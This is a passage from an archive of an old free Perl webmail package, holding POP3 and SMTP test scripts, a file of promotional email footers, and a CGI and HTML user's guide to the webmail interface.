# Copyright 1998, ADJE Corporation (The Edge), LLC

use IO::Socket;

print "Input POP server name ( ex: mail.ro.com ) : ";
$pop = <STDIN>;
chomp($pop);
!$pop && ($pop = "localhost");

print "Input user name ( ex: mikem ) : ";
$uname = <STDIN>;
chomp($uname);

print "Input password : ";
$pass = <STDIN>;
chomp($pass);

$socket = new IO::Socket::INET->new( 	PeerAddr  => $pop,
					PeerPort  => "110",
					Proto     => "tcp",
					Type      => SOCK_STREAM,
					Timeout   => "30");
!$socket && print "\n\nCan't connect to $pop\n\n";
$socket->recv($state,1024);
print "connect response = $state\n";
$socket->send("USER $uname\r\n");
$socket->recv($state,1024);
print "USER response = $state\n";
$socket->send("PASS $pass\r\n");
$socket->recv($state,1024);
print "PASS response = $state\n";

if ($state =~ /^\+OK/i ) {

   send($socket,"LIST\r\n",0);
   $_=<$socket>; # +OK...
   print "LIST response = $_";

if (!/-ERR/i) {
   while ( defined($_=<$socket>) && !/^\.\r?\n$/ ) {
     print;
     s/\r?\n//;;
     ($msgno,$size) = split;
     $SIZE{$msgno}=$size;
   }
}

   send($socket,"UIDL\r\n",0);
   $_=<$socket>; # +OK...
   print "UIDL response = $_";

   while ( defined($_=<$socket>) && !/^\.\r?\n$/ ) {
     s/\r?\n//;;
     ($msgno,$uidl) = split;
     print "$msgno $uidl $SIZE{$msgno}\n";
     push(@msgnos,$msgno);
#$var=<STDIN>;
#     print;
   }

}

@msgnos=();
for $msg (@msgnos) {

   send($socket,"RETR $msg\r\n",0);
   $_=<$socket>; # +OK...
print "RETR $msg response = $_";

      # For qpop http://www.eudora.com/freeware/qpop.html

      @header=();
print "START\n";
      while ( ($_=&readsock($socket)) && !/^\r?\n$/ ) {
        # ignore all lines that are not valid email headers...
        (!/^\S+: / && !/^ +/) && next;
        print "$_";
        push(@header,$_);  # don't include null (separator) line in header...
      }
      print "$_";

      while ( ($_=&readsock($socket)) && !/^\.\r?\n$/ ) { print "$_"; }
print "END\n";
}

#send($socket,"QUIT\r\n",0);
#$resp=<$socket>;

sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';

while ($buf !~ /\n$/) {
 $buf=<$socket>;
 $data .= $buf;
}
return $data;
}
wm357/testsmtp.pl100755    312    144        3577  7245677670  13234 0ustar  webmailusers#!/usr/bin/perl

# Copyright 1998, Michael Mohlere
# Copyright 1998, ADJE Corporation (The Edge), LLC

use IO::Socket;

print "Input SMTP server name ( ex: mail.ro.com ) : ";
$smtp = <STDIN>;
chomp($smtp);
!$smtp && ($smtp="localhost");

print "Input user name ( ex: mikem ) : ";
$uname = <STDIN>;
chomp($uname);

$socket = new IO::Socket::INET->new( 	PeerAddr  => $smtp,
					PeerPort  => "25",
					Proto     => "tcp",
					Type      => SOCK_STREAM,
					Timeout   => "30");
$socket->recv($state,1024);
print "connect response = $state\n";
#$socket->send("VRFY $uname\r\n");
#$socket->recv($state,1024);
#print "VRFY response = $state\n";
#send($socket,"QUIT\r\n",0);
#$resp=<$socket>;

print $socket "HELO demos.sjsconsult.com\r\n";
$msg=&readsock($socket);
print "HELO response = $msg";

print $socket "MAIL FROM:<ssanfrat\@maildivision.com>\r\n";
$msg=&readsock($socket);
print "MAIL FROM response = $msg";

$address="support\@adjeweb.com";
print $socket "RCPT TO:<$address>\r\n";
$msg=&readsock($socket);
print "RCPT TO: response = $msg";

#    if ($msg =~ /^250/) {
#        $mailed .= "$address ";
#        $to_string .= "$address, ";
#    } else {
#        $failed .= "$address <u>$msg</u><br>";
#    }

print $socket "DATA\r\n";
$msg=&readsock($socket);
print "DATA response = $msg";

$from_string = "From: ssanfrat\@maildivision.com";
print $socket "$from_string\r\n";
$to_string = "To: support\@adjeweb.com";
print $socket "$to_string\r\n";
print $socket "Subject: test smtp\r\n";

print $socket "\r\n"; # End of email header info....
print $socket "test smtp message\r\n";
print $socket ".\r\n";
$msg=&readsock($socket);

print STDERR "after FINISHED = $msg";

#if ($msg !~ /^250/) { 
#  $failed .= " $mailed"; # they ALL failed!
#  $mailed="";
#}

close ($socket);

sub readsock {
my ($socket) = @_;
my $data = "";
my $buf = "";

while ($buf !~ /\n$/) {
 $buf=<$socket>;
 $data .= $buf;
}
return $data;
}
wm357/trailers.txt100755    312    144        2052  7245677670  13365 0ustar  webmailusers# ALL Lines between "BEGIN" and "END" indicate text to
# be printed "BEFORE" or "AFTER" the sent email message.

# All other text in this file is ignored...

# The software will rotate multiple entries, with all entries
# getting equal exposure. If you are interested in promoting one
# entry more than the others, just duplicate it....

# Example: If you had 10 entries, each would be displayed in 10% of
# total outgoing emails.  If you wanted an entry to be displayed
# 18% of the time, you would duplicate it's entry.

BEGIN BEFORE

-------------------------------------------------------------------
-->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
-->> Download today!! http://www.adjeweb.com
-------------------------------------------------------------------

END

BEGIN AFTER

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------
END
wm357/uguide.cgi100644    312    144       52145  7245677670  12772 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

require "./params.cgi";
require "./language.cgi";
my %P = &get_params;
my %L = &get_language;
my %C = &get_colors($P{WEBMAILDIR});

print "Content-type: text/html\n\n";

print<<HEREDOC;
<html>
<head>
<META content="text/html; charset=$L{CHARSET}" http-equiv=Content-Type>
<title>User's Guide for Web Based E-Mail</title>
</head>
<body bgcolor=$C{BG_OFFWHITE} LINK=$C{LINK} ALINK=$C{ALINK} VLINK=$C{VLINK}>
<font face="arial,helvetica" color=$C{TEXT_BLACK}>
<center>
<H1>Webmail User's Guide</H1>
<strong>Overview</strong>
</center>
<p>
This user's guide provides a brief summary of the functions of the various web based email buttons and links.  It is HIGHLY RECOMMENDED that you read this document in its entirety.  It will provide you with a greater understanding of e-mail in general (e.g. what does "Bcc" stand for...) as well as this software. Please email suggestions and comments to support\@adjeweb.com.
<p>
<strong>
<center>
[ <a href="#mailbox">Mail Box</a> |
  <a href="#display">Display E-mail</a> |
  <a href="#writesend">Compose</a> ]<br>
[ <a href="#openaddbk">Open Address Book</a> |
  <a href="#editaddbk">Edit Address Book</a> ]
<p>
<a name="mailbox"><big>Mail Box</big></a>
<p>
</center>
</strong>
<table cellpadding="4" cellspacing="2" width="100%">
  <tr>

 <form method="POST">
  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Log Out">
  </td>
 </form>

 <form method="POST">
  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Compose">
  </td>
 </form>

<td width="95%" bgcolor=$C{BG_ORANGE} align="center">
<font color=$C{TEXT_BLACK} size="4"><strong>Mail Box : 20 Messages</strong></font>
</td>

 <form method="POST">
  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Addresses">
  </td>
 </form>

 <form method="POST">
  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Mail Box">
  </td>
 </form>
  </tr>
</table>
<p>
<strong>Log Out</strong><br>
Logs you off of the software and prevents unscrupulous individuals from accessing your email.  Highly recommended!
<p>
<strong>Compose</strong><br>
Compose (Write) a new email message and send it.
<p>
<strong>Addresses</strong><br>
Edit Address Book.  Edit existing entries in your address book and/or add new entries.
<p>
<strong>Mail Box</strong><br>
Display Messages contained in your Mail Box. Your mail box is updated with new messages each time you log in, so don't expect new messages to pop up in the middle of a session!
<p>
<form method="POST">
<table border="0" cellpadding="4" cellspacing="2">
    <tr>
      <td width="5%" bgcolor=$C{BG_ORANGE} valign="middle" align="center">&nbsp;</td>
      <td width="40%" bgcolor=$C{BG_ORANGE}><font color=$C{TEXT_BLACK}><strong>From:</strong></font></td>
      <td width="40%" bgcolor=$C{BG_ORANGE}><font color=$C{TEXT_BLACK}><strong>Subject:</strong></font></td>
      <td bgcolor=$C{BG_ORANGE}><font color=$C{TEXT_BLACK}><strong>Date:</strong></font></td>
      <td width="7%" bgcolor=$C{BG_ORANGE}><font color=$C{TEXT_BLACK}><strong>Size:</strong></font></td>
    </tr>
<tr>
<td width="5%" bgcolor=$C{BG_WHITE} valign="middle" align="center"><input type="checkbox" name="SELECTED_MSGS" value="0"></td>
<td width="40%" bgcolor=$C{BG_WHITE}>reminder\@selfpromotion.com</td>
<td width="40%" bgcolor=$C{BG_WHITE}><a href="none">REMINDER: SelfPromotion.com account [mohlere] will soon expire!</a></td>
<td bgcolor=$C{BG_WHITE}>Oct_05</td>
<td width="7%" bgcolor=$C{BG_WHITE}>2k</td>
</tr>
<tr>
<td width="5%" bgcolor=$C{BG_PURPLE} valign="middle" align="center"><input type="checkbox" name="SELECTED_MSGS" value="1"></td>
<td width="40%" bgcolor=$C{BG_WHITE}>mdiv\@mdiv.py</td>
<td width="40%" bgcolor=$C{BG_WHITE}><a href="none">Webmail request from mdiv\@mdiv.py at http://www.mdiv.py</a></td>
<td bgcolor=$C{BG_WHITE}>Oct_12</td>
<td width="7%" bgcolor=$C{BG_WHITE}>1k</td>
</tr>
<tr>
<td width="5%" valign="middle" align="center"><input type="checkbox" name="select_all" onClick="check_all_msgs()" value="4"></td>
<td width="85%" colspan="4"><em><strong>Select All Messages</strong></em></td>
</tr>
<tr>
<td colspan=5>
<input type="submit" name="ACTION" value="Delete Selected Messages From Mail Server">&nbsp;&nbsp;<input type="submit" name="ACTION" value="Un-Delete">
</td>
</tr>
</table>
</form>
<p>
<strong>Check box:</strong><br>
A check box with a GREEN background indicates that this messages has not yet been read (displayed) - translation: a new message.  A white background indicates the associated message has been read (displayed).
<p>
<strong>From:</strong><br>
The name of the person or organization sending you this particular email message.  If no name is present in the contents of the email, you will see the email address of the sender here.
<p>
<strong>Subject:</strong><br>
The subject of the email is displayed in blue.  Click on this link to display the email message!
<p>
<strong>Date:</strong><br>
The month and day that the message was sent to you - not when you received it!
<p>
<strong>Size:</strong><br>
The size (rounded up) of your email message in kilobytes.  1024 bytes = 1 kilobyte. Enough said!
<p>
<strong><em>Select All Messages</em></strong><br>
Checking this box will mark all messages for deletion.
<p>
<strong>Delete Selected Messages From Mail Server</strong><br>
This button PERMANENTLY deletes any marked messages from your mail server, i.e. you will NEVER see them again, so make sure of what you're doing.  You won't get a second chance!!! As a "footnote", these messages aren't actually deleted until you check your email again via this software.  So, if you delete a message, then go home and check your email using another application like Eudora or Microsoft Outlook, don't be surprised if the message is still there!!
<p>
<strong>Un-Delete</strong><br>
This button allows you to Un-Delete messages from <em>this session only</em>.  Most useful if you mistakenly delete a message during a "brain cramp" and immediately take notice.
<p>
<center><big><strong><a name="display">Display E-mail</a></strong></big></center>
<pre>  <b>Subject: (none)
</b>  Date:    Mon, 30 Aug 1999 10:51:39 -0500
  To:      mike\@adjeweb.com
  Cc:
  <b>From:    Amy Mohlere &lt;amymohlere\@adjeweb.com&gt;</b> <b><a href="non.cgi">Save Address</a></b>
  <b>Attachments: <a href="non">resume.doc</a></b></pre>
 <form method="POST">
<table width="100%" border="0" cellpadding="4" cellspacing="2">
 <tr>
  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" name="ACTION" value="Reply">
  </td>

  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" name="ACTION" value="Reply All">
  </td>

  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" name="ACTION" value="Forward">
  </td>

 </form>


 <td>&nbsp;&nbsp;&nbsp;&nbsp;</td>

 <form method="POST">

  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Previous">
  </td>

 </form>

 <form method="POST">
  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Delete">
  </td>

 </form>

 <form method="POST">

  <td align="center" bgcolor=$C{BG_PURPLE}>
  <input type="submit" value="Next">
  </td>

 </form>

 <td width="95%">&nbsp;</td>

 </tr>
 </table>
<pre>  I hope your day is going well. I am going to Decatur tomorrow night
  to have dinner with Bridget.  I won't be late (8:30). I just thought you
  might want to send your brother an email ( his address is <a href="none">bros\@brother.com</a>
  or visit the hottest golf web site ( <a href="http://www.golfdigest.com">http://www.golfdigest.com</a> ) for some
  tips on your swing!</pre>
<p>
<strong>Subject:, Date:, To:</strong><br>
Self explanatory. "Date" is the month and day the message was sent.
<p>
<strong>From:</strong><br>
Specifies the sender of the message.  If the <b><a href="none">Save Address</a></b> link is present, you may click on it to save this address to your address book.  If the <b><a href="none">Save Address</a></b> link is <b>NOT</b> present, this address is already saved in your address book!
<p>
<strong>Cc:</strong><br>
Stands for "Carbon copy".  Everyone in the list received a copy of this email message.
<p>
<strong>Attachments:</strong><br>
These links provide access to email attachments.  You may click on certain attachments with your left mouse button and the attachments will be automatically opened up by the proper application on your system.  For example, if you were sent an attachment called "resume.doc", your web browser would use Microsoft Word to display the document.  Other extensions that will usually open automatically are ".gif" ".jpg" ".txt", and a few others.<br>
<em>If your file doesn't "automagically" open into the proper program</em>, try clicking on it with the <strong>RIGHT MOUSE BUTTON</strong> and highlighting "Save Target As..." This will enable you to save the attachment to a file on your computer.
<p>
<strong>Reply</strong><br>
Send a message to the sender (only) of this email which includes a copy of the original text. Non-text attachments are <strong>NOT</strong> included in the reply!
<p>
<strong>Reply All</strong><br>
Same as "Reply", except each email address listed in the "To:" and "Cc:" fields receives a copy.
<p>
<strong>Forward</strong><br>
Forward a copy of this message, including any attachments!
<p>
<strong>Previous</strong><br>
Display the preceding message.  If you attempt to move past the first message in the mail box, the mail box will be displayed.
<p>
<strong>Delete</strong><br>
Delete this message and display the next message in the mail box.  If you delete the last message in the mail box, the mail box will be displayed.
<p>
<strong>Next</strong><br>
Display the next message.  If you attempt to move past the last message in the mail box, the mail box will be displayed.
<p>
<strong><em>General comments on reading your email messages...</em></strong><br>
URLs (Universal Resource Locators - example: http://....) will take you to the designated web page.  E-mail addresses will bring up the "Compose" page with the email address comprising the "To:" field.
<p>
<center><big><strong><a name="writesend">Compose</a></strong></big></center>
<p>
<FORM ENCTYPE="multipart/form-data" NAME="msgform" ACTION="none" METHOD="POST">
<table align="center" cellpadding="2" cellspacing="2">
<tr>
   <td>&nbsp;</td>
   <td colspan=2 align="left"><a href="none"><b>Open Address Book</b></a>&nbsp;&nbsp;<a href="none"><b>Edit Address Book</b></a></td>
</tr>
<tr>
   <td align="right"><font size="4"><strong>To:</strong></font></td>
   <td align="center"><input type="text" name="MSGTO" value="" size="60" tabindex="1"></td>
   <td align="left"><font color=$C{BG_OFFWHITE} size="4"><strong>To:</strong></font></td>
</tr>
<tr>
      <td align="right"><font size="4"><strong>Subject:</strong></font></td>
      <td align="center"><input type="text" name="MSGSUBJECT" value="" size="60" tabindex="2"></td>
      <td align="left"><font color=$C{BG_OFFWHITE} size="4"><strong>Subject:</strong></font></td>
</tr>
<tr>
      <td align="right"><font size="4"><strong>Cc:</strong></font></td>
      <td align="center"><input type="text" name="MSGCC" value="" size="60" tabindex="3"></td>
      <td align="left"><font color=$C{BG_OFFWHITE} size="4"><strong>Cc:</strong></font></td>
</tr>
<tr>
   <td align="right"><font size="4"><strong>Bcc:</strong></font></td>
   <td align="center"><input type="text" name="MSGBCC" value="" size="60" tabindex="4"></td>
   <td align="left"><font color=$C{BG_OFFWHITE} size="4"><strong>Bcc:</strong><font></td>
</tr>
<tr>
   <td align="right"><font size="4"><strong>Attached:</strong></font></td>
   <td align="center">&nbsp;</td>
   <td colspan=2 align="left"><font color=$C{BG_OFFWHITE} size="4"><strong>Attached:</strong><font></td>
</tr>
</table>

<table width="50%" align="center" cellpadding="4" cellspacing="2" border="0">
    <tr>
       <td align="center" bgcolor=$C{BG_PURPLE}><input type="submit" value="Send E-Mail" tabindex="7"></td>
       <td width="10%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
       <td align="center" bgcolor=$C{BG_PURPLE}><input type="button" onClick="clearbox()" value="Clear Message Box Only" tabindex="8"></td>
    </tr>
</table>

<table align="center" cellpadding="2" cellspacing="2" border="0">
    <tr>
      <td align="center">
      <textarea rows="15" name="MSGTEXT" cols="70"
      wrap="physical" tabindex="5">
      </textarea>
      </td>
    </tr>
    <tr>
      <td colspan=5 align="center"><font size="4"><strong>Attach Files To Your Message (Optional)</strong></font></td>
    </tr>
    <tr>
      <td colspan=5 align="center"><input type="FILE" name="attachment" size="55" tabindex="1"></td>
    </tr>
    <tr>
      <td colspan=5 align="center"><input type="FILE" name="attachment" size="55" tabindex="1"></td>
    </tr>
</table>
</form>
<p>
<strong>Open Address Book</strong><br>
Display saved addresses.  Click on links (in blue) to send to just that person.  Press the "Update Addresses" button to send to all email addresses with marked check boxes. This method can be quite slow when you have a lot of addresses saved.
<p>
<strong>Edit Address Book</strong><br>
Add new email addresses or edit saved addresses.
<p>
<strong>To:, Cc:</strong><br>
Enter one or more email addresses you wish to send this message to here.  Email addresses must be separated by a space, comma, or semicolon.  Valid entry examples are:<br>
mike\@adjeweb.com amy\@adjeweb.com<br>
mike\@adjeweb.com, stan\@adjeweb.com<br>
mike\@adjeweb.com; stan\@adjeweb.com<br>
Remember that everyone listed in the "To:" and "Cc:" fields receives a copy of the list of email addresses that received the message. "Cc" stands for "Carbon copy".
<p>
<strong>Bcc:</strong><br>
"Bcc" stands for "Blind carbon copy".  Email addresses listed in this field are not sent a copy of the list of people that received the email.  <strong>Example:</strong> If you had three boyfriends (or girlfriends) that you wanted to shmooze with the same love letter, this is the way to go!! The entry format is that same as that of "To:" and "Cc:" above.
<p>
<strong>Send E-Mail</strong><br>
Once you've completed your message and specified any attachments, this button will send your email on its way!
<p>
<strong>Clear Message Box Only</strong><br>
Will clear the message box of any text.  It's faster to send a "new" message by replying to a message and clearing the message box than pressing the "Compose" button and bringing up the address book.  A note to "vi" editor users: pressing the "escape" (Esc) key while in the message box will also clear the box - be careful!!  I've been burned on this many times!!
<p>
<strong>Attach Files to Message (Optional)</strong><br>
You may attach up to two (2) files from your computer to an email.  Hit the "Browse..." button, specify the file(s) you wish to atttach, then press the "Open" button.  The path of the file will appear in the text area to the left of the "Browse..." button. Once you've completed the message portion of your email, press the "Send E-Mail" button to send your message plus attachments. Remember that large files take longer to send than small ones!!
<p>
<center><big><strong><a name="openaddbk">Open Address Book</a></strong></big></center>
<p>
<form name="addresses" method="POST" action="javascript:Update()">
<table cellpadding=4 cellspacing=4> 
<tr>
<td colspan=4><big><big><b>Address Book</b></big></big><br>Click on the links (in blue) to send email to one person only....</td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%">To<input type="checkbox" name="to" value="almon74\@hotmail.com"></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:UpdateSingle('almon74\@hotmail.com')"><b>Adam_Almon</b></a></td>
<td align="center" width="5%">Cc<input type="checkbox" name="cc" value="almon74\@hotmail.com"></td>
<td align="center" width="5%">Bcc<input type="checkbox" name="bcc" value="almon74\@hotmail.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%">To<input type="checkbox" name="to" value="amymohlere\@adjeweb.com"></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:UpdateSingle('amymohlere\@adjeweb.com')"><b>Amy_Mohlere</b></a></td>
<td align="center" width="5%">Cc<input type="checkbox" name="cc" value="amymohlere\@adjeweb.com"></td>
<td align="center" width="5%">Bcc<input type="checkbox" name="bcc" value="amymohlere\@adjeweb.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%">To<input type="checkbox" name="to" value="jim\@tisp.com"></td>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:UpdateSingle('jim\@tisp.com')"><b>Doe, Jim</b></a></td>
<td align="center" width="5%">Cc<input type="checkbox" name="cc" value="jim\@tisp.com"></td>
<td align="center" width="5%">Bcc<input type="checkbox" name="bcc" value="jim\@tisp.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="addresses" value="Address To Selected Users"></td>
<td colspan="2" align="center"><input type="button" value="Cancel" onClick="window.close();"></td>
<td width="90%">&nbsp;</td>
</tr>
</table>
</form>
<p>
<strong>General Comments:</strong><br>
Clicking on a linked (blue) name/address will copy the address of the individual into the "To:" field of the "Compose" form and close the address book.  You may send messages to several addresses by checking the "To:" "Cc:" or "Bcc:" boxes followed by pressing the "Address To Selected Users" button.  This button will transfer the checked addresses to the "Compose" form and close the address book.
<p>
<center><big><strong><a name="editaddbk">Edit Address Book</a></strong></big></center>
<p>
<form method="POST">
<table cellspacing=4> 
<tr>
<td colspan=4><big><big><b>Edit Existing E-mail Addresses</b></big></big></td>
</tr>
<tr>
<td align="center"><b>Delete</b></td>
<td align="center"><b>Name</b></td>
<td align="center"><b>Address</b></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%"><input type="checkbox" name="SELECTED" value="0">
<input type="hidden" name="IDX" value="0"></td>
<td><input type="text" name="NAME" size="32" value="Adam Almon"></td>
<td><input type="text" name="ADDRESS" size="32" value="almon74\@hotmail.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td align="center" width="5%"><input type="checkbox" name="SELECTED" value="1">
<input type="hidden" name="IDX" value="1"></td>
<td><input type="text" name="NAME" size="32" value="Amy Mohlere"></td>
<td><input type="text" name="ADDRESS" size="32" value="amymohlere\@adjeweb.com"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td align="center"><input type="submit" value="Update Address Book"></td>
<td align="center"><input type="button" value="Cancel" onClick="history.back();"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td colspan=4><big><big><b>Add E-mail Addresses</b></big></big></td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td align="center"><b>Name</b></td>
<td align="center"><b>Address</b></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td><input type="text" size="32" name="ADDNAME"></td>
<td><input type="text" size="32" name="ADDADDRESS"></td>
<td width="90%">&nbsp;</td>
</tr>
<tr>
<td width="5%">&nbsp;</td>
<td><input type="text" size="32" name="ADDNAME"></td>
<td><input type="text" size="32" name="ADDADDRESS"></td>
<td width="90%">&nbsp;</td>
</tr>
</table>
</form>
<p>
<strong>Name:</strong><br>
The name associated with an email address.  Usually the name of a person.  Example: "Michael Mohlere".
<p>
<strong>Address:</strong><br>
The E-mail address associated with the "Name". Example: "mike\@adjeweb.com"
<p>
<strong>Delete</strong><br>
Check the box next to addresses you wish to delete from your address book.
<p>
<strong>Update Address Book</strong><br>
This button implements any changes (additions, deletions, modifications) to your address book.
<p>
<strong>Cancel</strong><br>
Return to the previous page.  Similar to the "Back" button on your web browser.
<p>
<center><H1>THE END!</H1></center>
</font>
</body>
</html>
HEREDOC
wm357/uguide.html100755    312    144       46235  7245677670  13202 0ustar  webmailusers<html>
<head>
<title>User's Guide for Web Based E-Mail</title>
</head>
<body bgcolor="#C0C0C0">
<center>
<H1>User's Guide</H1>
<strong>Overview</strong>
</center>
<p>
This user's guide provides a brief summary of the functions of the various web based email buttons and links.  It is HIGHLY RECOMMENDED that you read this document in its entirety.  It will provide you with a greater understanding of e-mail in general (e.g. what does "Bcc" stand for...) as well as this software. Please email suggestions and comments to mike@adjeweb.com.
<p>
<strong>
<center>
[ <a href="#mailbox">Mail Box</a> |
  <a href="#display">Display E-mail</a> |
  <a href="#writesend">Compose</a> ]<br>
[ <a href="#openaddbk">Open Address Book</a> |
  <a href="#editaddbk">Edit Address Book</a> ]
<p>
<a name="mailbox"><big>Mail Box</big></a>
<p>
</center>
</strong>
<table cellpadding="4" cellspacing="2" width="100%">
  <tr>

 <form method="POST">
  <td align="center" bgcolor="#008080">
  <input type="submit" value="Log Out">
  </td>
 </form>

 <form method="POST">
  <td align="center" bgcolor="#008080">
  <input type="submit" value="Compose">
  </td>
 </form>

<td width="95%" bgcolor="#800000" align="center">
<font color="#FFFFFF" size="4"><strong>Mail Box : 20 Messages</strong></font>
</td>

 <form method="POST">
  <td align="center" bgcolor="#008080">
  <input type="submit" value="Addresses">
  </td>
 </form>

 <form method="POST">
  <td align="center" bgcolor="#008080">
  <input type="submit" value="Mail Box">
  </td>
 </form>
  </tr>
</table>
<p>
<strong>Log Out</strong><br>
Logs you off of the software and prevents unscrupulous individuals from accessing your email.  Highly recommended!
<p>
<strong>Compose</strong><br>
Compose (Write) a new email message and send it.
<p>
<strong>Addresses</strong><br>
Edit Address Book.  Edit existing entries in your address book and/or add new entries.
<p>
<strong>Mail Box</strong><br>
Display Messages contained in your Mail Box. Your mail box is updated with new messages each time you log in, so don't expect new messages to pop up in the middle of a session!
<p>
<form method="POST">
<table border="0" cellpadding="4" cellspacing="2">
    <tr>
      <td width="5%" bgcolor="#800000" valign="middle" align="center">&nbsp;</td>
      <td width="40%" bgcolor="#800000"><font color="#FFFFFF"><strong>From:</strong></font></td>
      <td width="40%" bgcolor="#800000"><font color="#FFFFFF"><strong>Subject:</strong></font></td>
      <td bgcolor="#800000"><font color="#FFFFFF"><strong>Date:</strong></font></td>
      <td width="7%" bgcolor="#800000"><font color="#FFFFFF"><strong>Size:</strong></font></td>
    </tr>
<tr>
<td width="5%" bgcolor="#FFFFFF" valign="middle" align="center"><input type="checkbox" name="SELECTED_MSGS" value="0"></td>
<td width="40%" bgcolor="#FFFFFF">reminder@selfpromotion.com</td>
<td width="40%" bgcolor="#FFFFFF"><a href="none">REMINDER: SelfPromotion.com account [mohlere] will soon expire!</a></td>
<td bgcolor="#FFFFFF">Oct_05</td>
<td width="7%" bgcolor="#FFFFFF">2k</td>
</tr>
<tr>
<td width="5%" bgcolor="#008080" valign="middle" align="center"><input type="checkbox" name="SELECTED_MSGS" value="1"></td>
<td width="40%" bgcolor="#FFFFFF">rpetters@pol.com.py</td>
<td width="40%" bgcolor="#FFFFFF"><a href="none">Webmail request from rpetters@pol.com.py at http://www.pol.com.py</a></td>
<td bgcolor="#FFFFFF">Oct_12</td>
<td width="7%" bgcolor="#FFFFFF">1k</td>
</tr>
<tr>
<td width="5%" valign="middle" align="center"><input type="checkbox" name="select_all" onClick="check_all_msgs()" value="4"></td>
<td width="85%" colspan="4"><em><strong>Select All Messages</strong></em></td>
</tr>
<tr>
<td colspan=5>
<input type="submit" name="ACTION" value="Delete Selected Messages From Mail Server">&nbsp;&nbsp;<input type="submit" name="ACTION" value="Un-Delete">
</td>
</tr>
</table>
</form>
<p>
<strong>Check box:</strong><br>
A check box with a GREEN background indicates that this messages has not yet been read (displayed) - translation: a new message.  A white background indicates the associated message has been read (displayed).
<p>
<strong>From:</strong><br>
The name of the person or organization sending you this particular email message.  If no name is present in the contents of the email, you will see the email address of the sender here.
<p>
<strong>Subject:</strong><br>
The subject of the email is displayed in blue.  Click on this link to display the email message!
<p>
<strong>Date:</strong><br>
The month and day that the message was sent to you - not when you received it!
<p>
<strong>Size:</strong><br>
The size (rounded up) of your email message in kilobytes.  1024 bytes = 1 kilobyte. Enough said!
<p>
<strong><em>Select All Messages</em></strong><br>
Checking this box will mark all messages for deletion.
<p>
<strong>Delete Selected Messages From Mail Server</strong><br>
This button PERMANENTLY deletes any marked messages from your mail server, i.e. you will NEVER see them again, so make sure of what you're doing.  You won't get a second chance!!! As a "footnote", these messages aren't actually deleted until you check your email again via this software.  So, if you delete a message, then go home and check your email using another application like Eudora or Microsoft Outlook, don't be surprised if the message is still there!!
<p>
<strong>Un-Delete</strong><br>
This button allows you to Un-Delete messages from <em>this session only</em>.  Most useful if you mistakenly delete a message during a "brain cramp" and immediately take notice.
<p>
<center><big><strong><a name="display">Display E-mail</a></strong></big></center>
<pre>  <b>Subject: (none)
</b>  Date:    Mon, 30 Aug 1999 10:51:39 -0500
  To:      mike@adjeweb.com
  Cc:
  <b>From:    Amy Mohlere &lt;amymohlere@adjeweb.com&gt;</b> <b><a href="non.cgi">Save Address</a></b>
  <b>Attachments: <a href="non">resume.doc</a></b></pre>
 <form method="POST">
<table width="100%" border="0" cellpadding="4" cellspacing="2">
 <tr>
  <td align="center" bgcolor="#008080">
  <input type="submit" name="ACTION" value="Reply">
  </td>

  <td align="center" bgcolor="#008080">
  <input type="submit" name="ACTION" value="Reply All">
  </td>

  <td align="center" bgcolor="#008080">
  <input type="submit" name="ACTION" value="Forward">
  </td>

 </form>


 <td>&nbsp;&nbsp;&nbsp;&nbsp;</td>

 <form method="POST">

  <td align="center" bgcolor="#008080">
  <input type="submit" value="Previous">
  </td>

 </form>

 <form method="POST">
  <td align="center" bgcolor="#008080">
  <input type="submit" value="Delete">
  </td>

 </form>

 <form method="POST">

  <td align="center" bgcolor="#008080">
  <input type="submit" value="Next">
  </td>

 </form>

